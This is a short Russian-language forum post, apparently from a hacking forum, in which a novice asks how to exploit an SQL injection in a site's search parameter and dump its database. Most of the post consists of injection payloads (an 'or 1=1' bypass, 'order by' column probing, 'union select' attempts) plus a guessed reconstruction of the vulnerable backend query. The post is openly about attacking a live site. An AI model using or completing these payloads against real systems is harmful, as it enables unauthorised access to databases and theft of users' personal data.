14.05.2020, 13:21
|
|
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896
Репутация:
0
|
|
подскажите как заюзать и достать бд
Код:
?search=-")+or+1=1+limit+10--+-
выодит 10 записей
Код:
?search=-")+order+by+1--+-
ошибки нет, но при order by 2 ошибка
Код:
?search=-")+union+select+1--+-
не выводит "1".
думал там какая то разновидность такого запроса. то есть вероятней всего результат первого запроса (уявимого) передается в WHERE для второго запроса
Код:
ids = SELECT id FROM users
WHERE group="XXXX" AND (name LIKE "%$GET['search']%" OR email LIKE "%$GET['search']%"
)
SELECT * FROM users WHERE id IN(ids)
сделал запрос типа
Код:
?search=-")+union+select+217--+-
где 217 это мой id. но результат пустой( |
|
|